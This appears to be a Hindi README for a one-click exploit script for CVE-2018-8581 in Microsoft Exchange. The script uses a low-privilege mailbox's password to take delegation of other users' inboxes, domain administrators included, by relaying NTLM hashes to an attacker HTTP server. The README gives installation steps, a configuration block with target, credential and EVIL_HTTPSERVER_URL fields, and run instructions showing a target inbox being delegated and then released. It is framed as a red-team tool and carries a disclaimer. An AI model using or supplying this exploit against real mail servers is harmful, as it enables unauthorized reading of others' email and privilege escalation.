
CVE-2018-8581
यह एक ईमेल स्तर का लेटरल मूवमेंट और प्रिविलेज एस्केलेशन वल्नरेबिलिटी है।
यह एक सामान्य अनुमति वाले ईमेल अकाउंट का पासवर्ड प्राप्त करने के बाद, अन्य उपयोगकर्ताओं (डोमेन एडमिनिस्ट्रेटर सहित) के ईमेल इनबॉक्स पर डेलीगेशन लेने में सक्षम बनाता है।
यह EXP स्क्रिप्ट मूल PoC पर आधारित एक उन्नत वन-क्लिक स्क्रिप्ट है। यह संबंधित पैरामीटर कॉन्फ़िगर करने के बाद, स्वचालित रूप से लक्ष्य ईमेल के इनबॉक्स में डेलीगेशन जोड़ने और हटाने का कार्य करेगी, ताकि सुरक्षा विभाग और रेड टीम अधिकृत उद्यम पर एक सिम्युलेटेड हमले को पूरा कर सके।
मूल PoC दो स्क्रिप्ट का उपयोग करके ईमेल नियम जोड़ने का कार्य करता है, जो वास्तविक रेड टीम के काम में बहुत व्यावहारिक नहीं है। इसके अलावा, मूल PoC को ईमेल के अलावा लक्ष्य ईमेल उपयोगकर्ता के SID की आवश्यकता होती है। लेख में बताई गई उपयोगकर्ता SID प्राप्त करने की विधि का परीक्षण करने पर, मैं Exchange Server 2010 और 2013 संस्करणों में इसे सफलतापूर्वक पुन: उत्पन्न नहीं कर सका (2010 में संबंधित विकल्प नहीं है, 2013 में अनुमति न होने का संदेश आता है)। अंततः, मेरा विचार यह था कि पहले एक रिवर्स डेलीगेशन करके लक्ष्य ईमेल उपयोगकर्ता का SID प्राप्त किया जाए और फिर डेलीगेशन हटाया जाए।
python-ntlm स्थापित करें
pip install python-ntlm
स्क्रिप्ट के निम्नलिखित कोड में संबंधित पैरामीटर कॉन्फ़िगर करें
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
स्क्रिप्ट चलाएँ, फिर एक कप गोजी बेरी चाय पिएँ और एक मिनट प्रतीक्षा करें
![]()
अब TARGET_EMAIL का इनबॉक्स सफलतापूर्वक CONTROLLED_EMAIL को डेलीगेट कर दिया गया है
OWA या Outlook में लक्ष्य ईमेल का इनबॉक्स देखें
img2
FLAG को 0 में बदलें, स्क्रिप्ट फिर से चलाएँ, फिर एक और कप गोजी बेरी चाय पिएँ और एक और मिनट प्रतीक्षा करें, फिर पहले जोड़ा गया डेलीगेशन हटा दिया जाएगा
img3
अब पुनः पहुँच की अनुमति नहीं है
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
अधिक EWS SOAP API अनुरोधों को make_relay_body() फ़ंक्शन के अंदर संशोधित किया जा सकता है
यह स्क्रिप्ट केवल अध्ययन और आदान-प्रदान के उद्देश्यों के लिए है। उपयोगकर्ता संबंधित स्थानीय कानूनों का पालन करें। यदि इसका उपयोग किसी अन्य उद्देश्य के लिए किया जाता है, तो सभी कानूनी जिम्मेदारी लेखक से संबंधित नहीं है। डाउनलोड और उपयोग का अर्थ है कि उपयोगकर्ता उपरोक्त दृष्टिकोण से सहमत है।